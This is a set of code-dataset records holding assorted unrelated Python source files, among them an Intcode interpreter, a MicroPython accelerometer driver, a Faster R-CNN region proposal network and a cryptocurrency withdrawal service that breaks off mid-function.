print(str(popstddev(data)))\n elif c == 5:\n from variancepopprop import variancepopprop\n\n print(str(variancepopprop(data)))\n elif c == 6:\n from zscore import zscore\n\n print(str(zscore(data)))\n elif c == 7:\n from stdscore import stdscore\n print(float(stdscore(data)))\n elif c == 8:\n from popcorcoeff import popcorcoeff\n print(float(popcorcoeff(data)))\n elif c == 9:\n from conint import conint\n print(float(conint(data)))\n elif c == 10:\n from popvar import popvar\n print(float(popvar(data)))\n elif c == 11:\n from pval import pval\n print(float(pval(data)))\n elif c == 12:\n from prop import prop\n print(float(prop(data)))\n elif c == 13:\n from smean import smean\n print(float(smean(data)))\n elif c == 14:\n from sstddev import sstddev\n print(float(sstddev(data)))\n elif c == 15:\n from vsampprop import vsampprop\n print(float(vsampprop(data)))\n else:\n print(\"error\")","sub_path":"Stat.py","file_name":"Stat.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"107801463","text":"import operator\n\nincr = {1: 4, 2: 4, 3: 2, 4: 2, 5: 3, 6: 3, 7: 4, 8: 4, 9: 2}\nops = {1: operator.add, 2: operator.mul, 5: operator.truth, 6: operator.not_,\n 7: operator.lt, 8: operator.eq}\n\n\nclass Intcode:\n def __init__(self, filename):\n with open(filename) as f:\n self.array = dict(\n enumerate([int(n) for n in (f.read().split(','))]))\n self.i = 0\n self.exitStatus = False\n self.relativeBase = 0\n\n def arrayGet(self, index):\n return self.array.get(index, 0)\n\n def processParameters(self, parameters, modes):\n result = []\n for index in range(len(parameters)):\n mode = modes % 10\n result.append(self.applyParameterMode(parameters[index], mode))\n modes //= 10\n return result\n\n def applyParameterMode(self, parameter, mode):\n switcher = {\n 0: self.arrayGet(parameter),\n 1: parameter,\n 2: self.arrayGet(parameter + self.relativeBase)}\n return switcher.get(mode)\n\n def applyResultPosMode(self, resultPos, mode):\n switcher = {\n 0: resultPos,\n 2: resultPos + self.relativeBase}\n return switcher.get(mode)\n\n def operation(self, a, b, resultPos, opCode, modes):\n [a, b] = self.processParameters([a, b], modes)\n self.array[self.applyResultPosMode(resultPos, modes // 100)] = ops[\n opCode](a, b)\n\n def jump(self, cond, jump, opCode, modes):\n [cond, jump] = self.processParameters([cond, jump], modes)\n if ops[opCode](cond):\n self.i = jump - incr[opCode]\n\n def compute(self, inputs, returnValue):\n opCode = self.arrayGet(self.i) % 100\n modes = self.arrayGet(self.i) // 100\n a, b, c = self.arrayGet(self.i + 1), self.arrayGet(\n self.i + 2), self.arrayGet(self.i + 3)\n\n if opCode == 99:\n self.exitStatus = True\n return returnValue, True\n\n if opCode in [1, 2, 7, 8]:\n self.operation(a, b, c, opCode, modes)\n elif opCode == 3:\n try:\n self.array[self.applyResultPosMode(a, modes)] = next(inputs)\n except StopIteration:\n return returnValue, True\n elif opCode == 4:\n returnValue.append(self.applyParameterMode(a, modes))\n elif opCode in [5, 6]:\n self.jump(a, b, opCode, modes)\n elif opCode == 9:\n self.relativeBase += self.applyParameterMode(a, modes)\n self.i += incr[opCode]\n\n return returnValue, False\n\n def run(self, inputs):\n if self.exitStatus:\n return None\n inputs = iter([int(n) for n in inputs])\n breakStatus = False\n output = []\n count = 0\n while self.i < max(self.array.keys()) and not breakStatus:\n count += 1\n output, breakStatus = self.compute(inputs, output)\n if output == []:\n output = None\n return output\n","sub_path":"Dec5/intcode.py","file_name":"intcode.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"217661104","text":"from datastructures.likedlist.singly_linkedlist import _SinglyLinkedList\n\nclass LinkedListQueue(_SinglyLinkedList):\n \"\"\"FIFO queue implementation using a singly linked list storage.\"\"\"\n\n def enqueue(self, e):\n \"\"\"Add element e to the tail of the queue.\"\"\"\n self.addTail(e)\n\n\n def dequeue(self):\n \"\"\"\n Remove and return the first element of the queue.\n Raise IndexError if queue is empty\n \"\"\"\n if self.isEmpty():\n raise IndexError(\"Queue is empty!.\")\n return self.remove()\n\n\n#TEST\nif __name__ == \"__main__\":\n queue =LinkedListQueue()\n\n # is em[ty\n print(queue.isEmpty())\n\n # enqueue\n print(\"Add element\")\n for i in range(3):\n queue.enqueue(i)\n print(i)\n\n # get len\n print(\"total element {}\".format(len(queue)))\n\n # get first\n if not queue.isEmpty():\n print(\"front element : {}\".format(queue.first()))\n\n # dequeue\n print(\"dequeu\")\n while not queue.isEmpty():\n print(queue.dequeue())\n\n # is_empty\n print(queue.isEmpty())\n\n","sub_path":"Data Structures/Lkedlist/linkedlist_queue.py","file_name":"linkedlist_queue.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"274201701","text":"from micropython import const\nfrom machine import I2C\n\n\nDATA_RATE_400_HZ_NORMAL_MODE_X_EN_Y_EN_Z_EN = const(0x77) \nCONTINUOS_UPDATE_LITTLE_ENDIAN_2_G_HIGH_RESOLUTION_SPI_4_WIRE = const(0x08) \nI2C_TIMEOUT_MS (50)\nACCEL_ADDR = const(0x19) \nCTRL_REG1_A = const(0x20) \nCTRL_REG4_A = const(0x23) \nOUT_X_L_A = const(0x28) \nOUT_X_H_A = const(0x29) \nOUT_Y_L_A = const(0x2A) \nOUT_Y_H_A = const(0x2B) \nOUT_Z_L_A = const(0x2C) \nOUT_Z_H_A = const(0x2D) \n\n\n\nclass STMAccel:\n\n\tdef __init__(self):\n\t\tself.i2c = I2C(1)\n\t\ti2c.writeto_mem(ACCEL_ADDR,CTRL_REG1_A,DATA_RATE_400_HZ_NORMAL_MODE_X_EN_Y_EN_Z_EN)\n\t\ti2c.writeto_mem(ACCEL_ADDR,CTRL_REG4_A,CONTINUOS_UPDATE_LITTLE_ENDIAN_2_G_HIGH_RESOLUTION_SPI_4_WIRE )\n\t\t\n\t\t\n\n\tdef read(self):\n\t\txl=self.i2c.readfrom_mem(ACCEL_ADDR,OUT_X_L_A,1)\n\t\txh=self.i2c.readfrom_mem(ACCEL_ADDR,OUT_X_H_A,1)\t\n\t\t\t\n\t\t\n","sub_path":"lsm303dlhc/stmaccel.py","file_name":"stmaccel.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"48332775","text":"\"\"\"empty message\n\nRevision ID: db3e7aca78f6\nRevises: 373907e5c797\nCreate Date: 2020-03-18 18:25:39.727394\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'db3e7aca78f6'\ndown_revision = '373907e5c797'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('error_codes')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('error_codes',\n sa.Column('code', sa.INTEGER(), autoincrement=False, nullable=False),\n sa.Column('name', sa.VARCHAR(), autoincrement=False, nullable=False),\n sa.Column('message', sa.VARCHAR(), autoincrement=False, nullable=False),\n sa.PrimaryKeyConstraint('code', name='error_codes_pkey')\n )\n # ### end Alembic commands ###\n","sub_path":"src/api/migrations/versions/db3e7aca78f6_.py","file_name":"db3e7aca78f6_.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"75326030","text":"from astropy import cosmology as cosmo\n\nimport autofit as af\nfrom autofit.tools.phase import Dataset\nfrom autolens.pipeline.phase import abstract\nfrom autolens.pipeline.phase import extensions\nfrom autolens.pipeline.phase.dataset.result import Result\n\nimport pickle\n\n\nclass PhaseDataset(abstract.AbstractPhase):\n galaxies = af.PhaseProperty(\"galaxies\")\n\n Result = Result\n\n @af.convert_paths\n def __init__(\n self,\n paths,\n galaxies=None,\n non_linear_class=af.MultiNest,\n cosmology=cosmo.Planck15,\n ):\n \"\"\"\n\n A phase in an lens pipeline. Uses the set non_linear optimizer to try to fit models and hyper_galaxies\n passed to it.\n\n Parameters\n ----------\n non_linear_class: class\n The class of a non_linear optimizer\n \"\"\"\n\n super().__init__(paths, non_linear_class=non_linear_class)\n self.galaxies = galaxies or []\n self.cosmology = cosmology\n\n self.is_hyper_phase = False\n\n def run(\n self,\n dataset: Dataset,\n mask,\n results=af.ResultsCollection(),\n positions=None,\n info=None,\n ):\n \"\"\"\n Run this phase.\n\n Parameters\n ----------\n positions\n mask: Mask\n The default masks passed in by the pipeline\n results: autofit.tools.pipeline.ResultsCollection\n An object describing the results of the last phase or None if no phase has been executed\n dataset: scaled_array.ScaledSquarePixelArray\n An masked_imaging that has been masked\n\n Returns\n -------\n result: AbstractPhase.Result\n A result object comprising the best fit model and other hyper_galaxies.\n \"\"\"\n self.save_metadata(dataset=dataset)\n self.save_dataset(dataset=dataset)\n self.save_mask(mask)\n self.save_meta_dataset(meta_dataset=self.meta_dataset)\n self.save_info(info=info)\n\n self.model = self.model.populate(results)\n\n analysis = self.make_analysis(\n dataset=dataset, mask=mask, results=results, positions=positions\n )\n\n phase_attributes = self.make_phase_attributes(analysis=analysis)\n self.save_phase_attributes(phase_attributes=phase_attributes)\n\n self.customize_priors(results)\n self.assert_and_save_pickle()\n\n result = self.run_analysis(analysis)\n\n return self.make_result(result=result, analysis=analysis)\n\n def make_analysis(\n self, dataset, mask, results=af.ResultsCollection(), positions=None\n ):\n \"\"\"\n Create an lens object. Also calls the prior passing and masked_imaging modifying functions to allow child\n classes to change the behaviour of the phase.\n\n Parameters\n ----------\n positions\n mask: Mask\n The default masks passed in by the pipeline\n dataset: im.Imaging\n An masked_imaging that has been masked\n results: autofit.tools.pipeline.ResultsCollection\n The result from the previous phase\n\n Returns\n -------\n lens : Analysis\n An lens object that the non-linear optimizer calls to determine the fit of a set of values\n \"\"\"\n raise NotImplementedError()\n\n def extend_with_inversion_phase(self):\n return extensions.InversionPhase(phase=self)\n\n def extend_with_multiple_hyper_phases(\n self,\n hyper_galaxy=False,\n inversion=False,\n include_background_sky=False,\n include_background_noise=False,\n hyper_galaxy_phase_first=False,\n ):\n\n self.use_as_hyper_dataset = True\n\n hyper_phase_classes = []\n\n if self.meta_dataset.has_pixelization and inversion:\n if not include_background_sky and not include_background_noise:\n hyper_phase_classes.append(extensions.InversionPhase)\n elif include_background_sky and not include_background_noise:\n hyper_phase_classes.append(extensions.InversionBackgroundSkyPhase)\n elif not include_background_sky and include_background_noise:\n hyper_phase_classes.append(extensions.InversionBackgroundNoisePhase)\n else:\n hyper_phase_classes.append(extensions.InversionBackgroundBothPhase)\n\n if hyper_galaxy:\n if not include_background_sky and not include_background_noise:\n hyper_phase_classes.append(\n extensions.hyper_galaxy_phase.HyperGalaxyPhase\n )\n elif include_background_sky and not include_background_noise:\n hyper_phase_classes.append(\n extensions.hyper_galaxy_phase.HyperGalaxyBackgroundSkyPhase\n )\n elif not include_background_sky and include_background_noise:\n hyper_phase_classes.append(\n extensions.hyper_galaxy_phase.HyperGalaxyBackgroundNoisePhase\n )\n else:\n hyper_phase_classes.append(\n extensions.hyper_galaxy_phase.HyperGalaxyBackgroundBothPhase\n )\n\n if hyper_galaxy_phase_first:\n if inversion and hyper_galaxy:\n hyper_phase_classes = [cls for cls in reversed(hyper_phase_classes)]\n\n if len(hyper_phase_classes) == 0:\n return self\n else:\n return extensions.CombinedHyperPhase(\n phase=self, hyper_phase_classes=hyper_phase_classes\n )\n","sub_path":"autolens/pipeline/phase/dataset/phase.py","file_name":"phase.py","file_ext":"py","file_size_in_byte":5538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"41331338","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def isSameTree(self, p, q):\n \"\"\"\n :type p: TreeNode\n :type q: TreeNode\n :rtype: bool\n \"\"\"\n a=[]\n b=[]\n def s(m,r):\n if r:\n m.append(r.val)\n s(m,r.left)\n s(m,r.right)\n else:\n m.append('$')\n s(a,p)\n s(b,q)\n if len(a)!=len(b):\n return False\n for i in range(len(a)):\n if a[i]!=b[i]:\n return False\n return True\n \n ","sub_path":"100.py","file_name":"100.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"524975273","text":"from pymorphy2 import MorphAnalyzer\nimport re\nimport random\n\n\nmorph = MorphAnalyzer()\n\n\n# def inflect_words():\n# n_lemms = []\n# p_lemms = []\n# lemms = open(\"n_grams.txt\").read()\n# n_lemms = re.findall('[а-яА-Я]+', lemms)\n# for word in n_lemms[:10000]:\n# p_word = morph.parse(word)[0]\n# lemm = p_word.normalized #хз нужно или нет\n# p_lemms.append(lemm)\n# file = open('n_gramms_parced.txt', 'w')\n# for item in p_lemms:\n# file.write(\"{0}\\n\".format(item))\n# file.close()\n\n\ndef change_words():\n string = input('Введите ваше предложение: ')\n response = []\n before_tags = []\n normalized_tags = []\n new_norm_words = []\n word_s = string.split()\n for word in word_s:\n p_word = morph.parse(word)[0]\n tag = p_word.tag\n before_tags.append(tag)\n n_word = p_word.normalized\n n_tag = n_word.tag\n normalized_tags.append(n_tag)\n our_words = open('n_gramms_parced.txt').readlines()\n for tag in normalized_tags: # пока типа инфинитивы\n finded_words = list(filter(lambda x: str(tag) in x, our_words))\n returned = random.choice(finded_words)\n word_n = re.search('word\\=\\'([а-я]+)\\'', returned)\n word_n = (word_n.group(1))\n new_norm_words.append(word_n)\n for word, tag in zip(new_norm_words, before_tags):\n tag = re.sub(' ', ',', str(tag))\n tags = frozenset(tag.split(','))\n prog = morph.parse(word)[0]\n prog = prog.inflect(tags)\n response.append(prog.word)\n print('Наш ответ:',' '.join(response))\n\n\ndef main():\n # inflect_words()\n change_words()\n\nif __name__ == '__main__':\n main()\n","sub_path":"homework7/otvechator.py","file_name":"otvechator.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"495939550","text":"\n\"\"\"\n# Documentation\n\n## General\nhttp://lazka.github.io/pgi-docs/Gtk-3.0/\nhttps://python-gtk-3-tutorial.readthedocs.io/en/latest/\n\n## More specific\nhttps://gist.github.com/pklaus/304963\nhttp://stackoverflow.com/questions/37937212/python-3-gtk3-crossplatform-tray-icon\n\"\"\"\nimport gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk, Gdk\nimport threading\nimport random\n\nTICK_LENGTH_IT = 1\nCOLOUR_MAX = 2**16 - 1\n#COLOUR_MIN = 0\n\nclass MainWindow(Gtk.Window):\n def __init__(self):\n Gtk.Window.__init__(self, title=\"Mindful breathing\")\n\n self.timer_thread = threading.Timer(None, None)\n\n # Widget setup\n\n self.hbox = Gtk.Box(spacing=12)\n self.add(self.hbox)\n\n self.drawing_area = Gtk.DrawingArea()\n self.drawing_area.set_size_request(50, 50)\n self.red = COLOUR_MAX\n self.set_colour(self.red)\n self.hbox.pack_start(self.drawing_area, True, True, 0)\n\n self.my_status_icon = Gtk.StatusIcon()\n self.my_status_icon.set_from_stock(Gtk.STOCK_HOME)\n self.my_status_icon.set_tooltip_text(\"Breathing in i go back to the island within\")\n\n #self.breathing_pb.pulse()\n self.start_timer_fn()\n\n def set_colour(self, i_red):\n color = Gdk.RGBA.from_color(Gdk.Color(red=i_red, green=COLOUR_MAX, blue=0))\n self.drawing_area.override_background_color(0, color)\n\n def tick_clock_fn(self):\n self.breathing_pb.pulse()\n if random.randint(0, 1) == 1:\n self.my_status_icon.set_from_stock(Gtk.STOCK_CONNECT)\n else:\n self.my_status_icon.set_from_stock(Gtk.STOCK_HOME)\n\n self.red = (self.red - 3000) % COLOUR_MAX\n self.set_colour(self.red)\n\n self.start_timer_fn()\n\n def start_timer_fn(self):\n self.timer_thread.cancel()\n self.timer_thread = threading.Timer(TICK_LENGTH_IT, self.tick_clock_fn) # Creating a new thread\n self.timer_thread.setDaemon(True)\n self.timer_thread.start()\n\nif __name__ == \"__main__\":\n t_win = MainWindow()\n t_win.connect(\"delete-event\", Gtk.main_quit)\n t_win.show_all()\n Gtk.main()","sub_path":"mindful-breathing-gtk.py","file_name":"mindful-breathing-gtk.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"603133571","text":"jack = {\r\n \"name\": \"Jack\",\r\n \"homework\": [92.0, 57.0, 77.0, 82.0],\r\n \"quizzes\": [99.0, 90.0, 94.0],\r\n \"tests\": [85.0, 97.0]\r\n}\r\njones = {\r\n \"name\": \"Jones\",\r\n \"homework\": [10.0, 99.0, 98.0, 80.0],\r\n \"quizzes\": [86.0, 43.0, 99.0],\r\n \"tests\": [81.0, 67.0]\r\n}\r\njames = {\r\n \"name\": \"James\",\r\n \"homework\": [40.0, 0.0, 100.0, 100.0],\r\n \"quizzes\": [45.0, 65.0, 95.0],\r\n \"tests\": [100.0, 99.0]\r\n}\r\n\r\nstudent = [jack, jones, james]\r\n\r\ndef average(numbers):\r\n total = sum(numbers)\r\n total = float(total)\r\n return total / len(numbers)\r\n\r\ndef get_average(student):\r\n homework = average(student[\"homework\"])\r\n quizzes = average(student[\"quizzes\"])\r\n tests = average(student[\"tests\"])\r\n \r\n total = homework * .1 + quizzes * .3 + tests * .6\r\n return total\r\n\r\ndef get_letter_grade(score):\r\n if (score >= 90):\r\n return \"A\"\r\n elif (score >= 80):\r\n return \"B\"\r\n elif (score >= 70):\r\n return \"C\"\r\n elif (score >= 60):\r\n return \"D\"\r\n else:\r\n return \"F\"\r\n\r\ndef get_class_average(class_list):\r\n results = []\r\n for student in class_list:\r\n student_avg = get_average(student)\r\n results.append(student_avg)\r\n return average(results)\r\n\r\nprint(\"CLASS AVERAGE:\", get_class_average(student))\r\n\r\nprint(\"LETTER GRADE:\", get_letter_grade(get_average(jack)))\r\n\r\nprint(\"AVERAGE:\", get_average(jack))\r\n\r\n'''\r\nOUTPUT:\r\nCLASS AVERAGE: 83.725\r\nLETTER GRADE: A\r\nAVERAGE: 90.6\r\n'''\r\n","sub_path":"Dictionary/dictionary_2.py","file_name":"dictionary_2.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"388354405","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 19 20:06:25 2021\n\n@author: tatia\n\"\"\"\nfrom sklearn.metrics import precision_recall_curve\nfrom sklearn.metrics import auc\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import roc_curve\nfrom sklearn.metrics import f1_score\nimport matplotlib.pyplot as plt\n\n\ndef plt_roc_auc_curve(model, X_test, y_test, model_name):\n # generate a no skill prediction (majority class)\n ns_probs = [0 for _ in range(len(y_test))]\n # predict probabilities\n model_probs = model.predict_proba(X_test)\n # keep probabilities for the positive outcome only\n model_probs = model_probs[:, 1]\n # calculate scores\n ns_auc = roc_auc_score(y_test, ns_probs)\n model_auc = roc_auc_score(y_test, model_probs)\n # summarize scores\n print('No Skill: ROC AUC=%.3f' % (ns_auc))\n print(model_name + ': ROC AUC=%.3f' % (model_auc))\n # calculate roc curves\n ns_fpr, ns_tpr, _ = roc_curve(y_test, ns_probs)\n model_fpr, model_tpr, _ = roc_curve(y_test, model_probs)\n # plot the roc curve for the model\n plt.plot(ns_fpr, ns_tpr, linestyle='--', label='No Skill')\n plt.plot(model_fpr, model_tpr, marker='.', label=model_name)\n # axis labels\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n # show the legend\n plt.legend()\n # show the plot\n plt.show()\n \ndef plt_precision_recall_curve(model, X_test, y_test, model_name):\n # predict probabilities\n model_probs = model.predict_proba(X_test)\n # keep probabilities for the positive outcome only\n model_probs = model_probs[:, 1]\n # predict class values\n y_pred = model.predict(X_test)\n model_precision, model_recall, _ = precision_recall_curve(y_test, model_probs)\n model_f1, model_auc = f1_score(y_test, y_pred), auc(model_recall, model_precision)\n # summarize scores\n print(model_name + ': f1=%.3f auc=%.3f' % (model_f1, model_auc))\n # plot the precision-recall curves\n no_skill = len(y_test[y_test==1]) / len(y_test)\n plt.plot([0, 1], [no_skill, no_skill], linestyle='--', label='No Skill')\n plt.plot(model_recall, model_precision, marker='.', label=model_name)\n # axis labels\n plt.xlabel('Recall')\n plt.ylabel('Precision')\n # show the legend\n plt.legend()\n # show the plot\n plt.show()","sub_path":"dataproc/roc_auc_curves.py","file_name":"roc_auc_curves.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"52642955","text":"import torch\nimport torch.nn as nn\nfrom torchvision import models, transforms\n\nimport numpy as np\nimport pretrainedmodels\n\nimport itertools\n\nimport shy\nshy.err_hook()\n\n# forward ----> (reg) ------------------> reg2bbox -> (bbox) --> calciou -> (iou) -> get_isobj -> (isobj == p_\\star) ---> loss\n# └> get_anchors -> anchors ---┘ | |\n# (target_bbox) ----------------------------------------------┘--> bbox2reg -> (target_reg) ---------------------------┘\n\nclass RPN(nn.Module):\n def __init__(self, scale, aspect):\n super(RPN, self).__init__()\n\n num_anchors = len(scale) * len(aspect)\n self.scale = scale\n self.aspect = aspect\n self.rel_anchors = [np.array(aspect) * s for s in scale]\n self.rel_anchors = np.concatenate(self.rel_anchors, axis=0)\n\n mid = 512\n self.net = pretrainedmodels.vgg16(pretrained='imagenet')\n self.spatial_window = nn.Conv2d(512, mid, kernel_size=3, stride=1, padding=1)\n \n self.reg = nn.Conv2d(mid, num_anchors*4, kernel_size=1, stride=1, padding=0) # [t_x, t_y, t_w, t_h]\n self.clss = nn.Conv2d(mid, num_anchors*2, kernel_size=1, stride=1, padding=0)\n \n def forward(self, x):\n ''' forward\n \n Parameters\n ----------\n x : torch.FloatTensor (b, 3, _, _)\n normalized image tensor\n \n Returns\n -------\n reg: torch.FloatTensor (b, # of anchors per unit * 4, num_h, num_w)\n regression (t_x, t_y, t_w, t_h)\n clss: torch.FloatTensor (b, # of anchors per unit * 2, num_h, num_w)\n prediction whether obj or not\n '''\n\n x = self.net._features[:30](x) # [n, 512, 14, 14]\n x = self.spatial_window(x) # [n, 512, 14, 14]\n # x = F._adaptive_max_pool2d(x)\n\n reg = self.reg(x) # [n, num_anchors*4, 14, 14]\n clss = self.clss(x) # [n, num_anchors*2, 14, 14]\n\n return reg, clss\n\n def get_anchors(self, height, width, num_h, num_w, device):\n '''[summary]\n \n Parameters\n ----------\n height : int\n [description]\n width : int\n [description]\n num_h : int\n [description]\n num_w : int\n [description]\n \n Returns\n -------\n anchors: torch.FloatTensor (num_h, num_w, # of anchors per unit, 4)\n anchors (x_center, y_center, w, h)\n '''\n\n anchors = []\n for y in np.arange(1/(2*num_h), 1, 1/num_h):\n for x in np.arange(1/(2*num_w), 1, 1/num_w):\n for w, h in self.rel_anchors:\n anchors.append([x, y, w, h])\n anchors = torch.FloatTensor(anchors).view(num_h, num_w, len(self.rel_anchors), 4)\n anchors = anchors.to(device)\n\n return anchors\n\nif __name__ == '__main__':\n scale = [100, 200, 300]\n aspect = [[1, 1], [2, 1], [1, 2]]\n net = RPN(scale, aspect)\n\n img = torch.randn(1, 3, 224, 224)\n target_bbox = torch.FloatTensor([\n [\n [0.5, 0.5, 0.4, 0.2],\n [0.5, 0.7, 0.4, 0.2],\n ]\n ])\n \n pred_reg, pred_clss = net(img)\n _, _, h, w = img.shape\n b, _, num_h, num_w = pred_reg.shape\n anchors = net.get_anchors(h, w, num_h, num_w, img.device)\n\n # loss = rpn_optimizer(y_obj, y_obj_target, n_obj, )","sub_path":"faster-rcnn/bbox_detector.py","file_name":"bbox_detector.py","file_ext":"py","file_size_in_byte":3411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"480794449","text":"import decimal\nimport logging\n\nfrom sqlalchemy import desc, asc\nfrom sqlalchemy.orm.exc import NoResultFound, MultipleResultsFound\n\nfrom transer import config, types\nfrom transer.exceptions import TransactionInconsistencyError, EthMonitorTransactionException\nfrom transer.db import eth, btc, transaction, sqla_session\nfrom transer.types import CryptoCurrency, WithdrawalStatus\n\nfrom transer.btc.create_transaction import calculate_transaction_fee as btc_calculate_transaction_fee\nfrom transer.btc.create_transaction import create_transaction as btc_create_transaction\nfrom transer.btc.sign_transaction import sign_transaction as btc_sign_transaction\nfrom transer.btc.send_transaction import send_transaction as btc_send_transaction\nfrom transer.btc.monitor_transaction import get_txid_status as btc_get_txid_status\n\nfrom transer.eth.create_transaction import current_gas_price as eth_current_gas_price\nfrom transer.eth.create_transaction import create_transaction as eth_create_transaction\nfrom transer.eth.sign_transaction import sign_transaction as eth_sign_transaction\nfrom transer.eth.send_transaction import send_transaction as eth_send_transaction\nfrom transer.eth.monitor_transaction import get_transaction as eth_get_transaction\nfrom transer.eth.create_transaction import TRANSACTION_GAS\nfrom transer.eth import eth_divider\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef withdraw_btc(u_txid, address, amount):\n \"\"\"\n :param u_txid: UUID4 идентификатор транзакции в сервисе cryptopay\n :param address: адрес, на который нужно сделать перечилсение;\n запрещены перечисления членам системы / на адреса, принадлежащие системе используя внешнюю Bitcoin сеть\n :param amount: объём битокойнов\n :return:\n \"\"\"\n # explicitly prohibit withdrawals to addresses belong to Cryptology\n # i.e. cryptopayments between clients via external Bitcoin network\n check_addr = btc.Address.query.filter(\n btc.Address.address == address\n ).count()\n if check_addr > 0: # == 1 actually\n logger.error(f'Withdrawal to internal address {address} detected and explicitly prohibited')\n return WithdrawalStatus.FAILED.value\n\n u_txid_q = transaction.CryptoWithdrawTransaction.query.filter(\n transaction.CryptoWithdrawTransaction.u_txid == u_txid\n )\n\n try:\n crypto_transaction = u_txid_q.one()\n return crypto_transaction.status\n except MultipleResultsFound as e:\n sqla_session.rollback()\n raise TransactionInconsistencyError(f'Multiple transaction records found for {u_txid}. Report the bug') from e\n except NoResultFound:\n crypto_transaction = transaction.CryptoWithdrawTransaction(\n u_txid=u_txid,\n currency=CryptoCurrency.BITCOIN.value,\n address=address,\n amount=amount,\n status=WithdrawalStatus.FAILED.value\n )\n sqla_session.add(crypto_transaction)\n\n btcd_instance_name = config['btcd_instance_name']\n key_name = config['btc_masterkey_name']\n masterkey_q = btc.MasterKey.query.filter(\n btc.MasterKey.masterkey_name == key_name\n )\n masterkey = masterkey_q.one()\n\n bitcoind_instance_q = btc.BitcoindInstance.query.filter(\n btc.BitcoindInstance.instance_name == btcd_instance_name\n )\n bitcoind_inst = bitcoind_instance_q.one()\n\n # given that num of UTXOs ~ num of Addresses and fee is ~$2 per UTXO\n # so let it be no more 10 UTXOs/Addresses to feed the destination at cost ~$20 and one wallet for change\n ordered_adresses_q = btc.Address.query.filter(\n btc.Address.bitcoind_inst == bitcoind_inst,\n btc.Address.masterkey == masterkey,\n btc.Address.address != address\n ).order_by(desc(btc.Address.amount)).limit(11)\n candidates = ordered_adresses_q.all()\n\n change_address = candidates.pop(-1)\n\n estimate_amount = decimal.Decimal(0.0)\n\n projected_fee = btc_calculate_transaction_fee(\n bt_name=btcd_instance_name,\n sources=[c.address for c in candidates], destination=address,\n change=change_address.address,\n preferred_blocks=5 # Anton don't like such numbers :-)\n )\n\n src_address_objs = []\n for c in candidates:\n estimate_amount += c.amount\n src_address_objs.append(c)\n if estimate_amount > amount + projected_fee:\n break\n if estimate_amount < amount + projected_fee:\n # Insufficient funds\n sqla_session.commit()\n logger.error(\n f\"BTC withdrawal insufficient funds error (amount: {amount}, \"\n f\"fee {projected_fee}, balance: {estimate_amount})\",\n )\n return crypto_transaction.status\n\n src_addresses = [x.address for x in src_address_objs]\n\n # Equation 'projected_fee >= actual_fee' is always true\n actual_fee = btc_calculate_transaction_fee(\n bt_name=btcd_instance_name,\n sources=[src_addresses],\n destination=address,\n change=change_address.address,\n preferred_blocks=5 # Anton don't like such numbers :-)\n )\n\n trx, _ = btc_create_transaction(\n bt_name=bitcoind_inst.instance_name,\n sources=src_addresses,\n destination=address,\n amount=amount,\n change=change_address.address,\n fee=actual_fee\n )\n\n signed_trx, _ = btc_sign_transaction(\n bt_name=bitcoind_inst.instance_name,\n signing_addrs=src_addresses,\n trx=trx\n )\n\n # It would be a race condition between section starting from send_transaction() to sqla_session.commit()\n # and monitor_transaction.get_recent_deposit_transactions(), if get_recent_deposit_transactions() taken\n # into account transactions with num of confirmations equals to 0 (mempool/unconfirmed transactions).\n # Doesn't actual condition now\n txid = btc_send_transaction(\n bt_name=bitcoind_inst.instance_name,\n signed_trx=signed_trx\n )\n\n crypto_transaction.status = WithdrawalStatus.PENDING.value\n crypto_transaction.txids = [txid]\n\n change_address_log = btc.ChangeTransactionLog(\n change_address=change_address.address,\n change_tx_id=txid\n )\n sqla_session.add(change_address_log)\n\n # all the funds move to change address\n for a in src_address_objs:\n a.amount = decimal.Decimal(0.0)\n\n sqla_session.commit()\n return crypto_transaction.status\n\n\ndef withdrawal_status_btc(crypto_transaction):\n btcd_instance_name = config['btcd_instance_name']\n\n try:\n txid = crypto_transaction.txids[0] # in btc, only one txid per transaction\n except (KeyError, TypeError):\n return WithdrawalStatus.FAILED.value\n\n tx_info = btc_get_txid_status(\n bt_name=btcd_instance_name,\n txid=txid\n )\n\n if crypto_transaction.status == WithdrawalStatus.COMPLETED.value:\n return\n\n try:\n confirmations = tx_info['confirmations']\n except KeyError as e:\n if txid == tx_info['txid']:\n crypto_transaction.status = 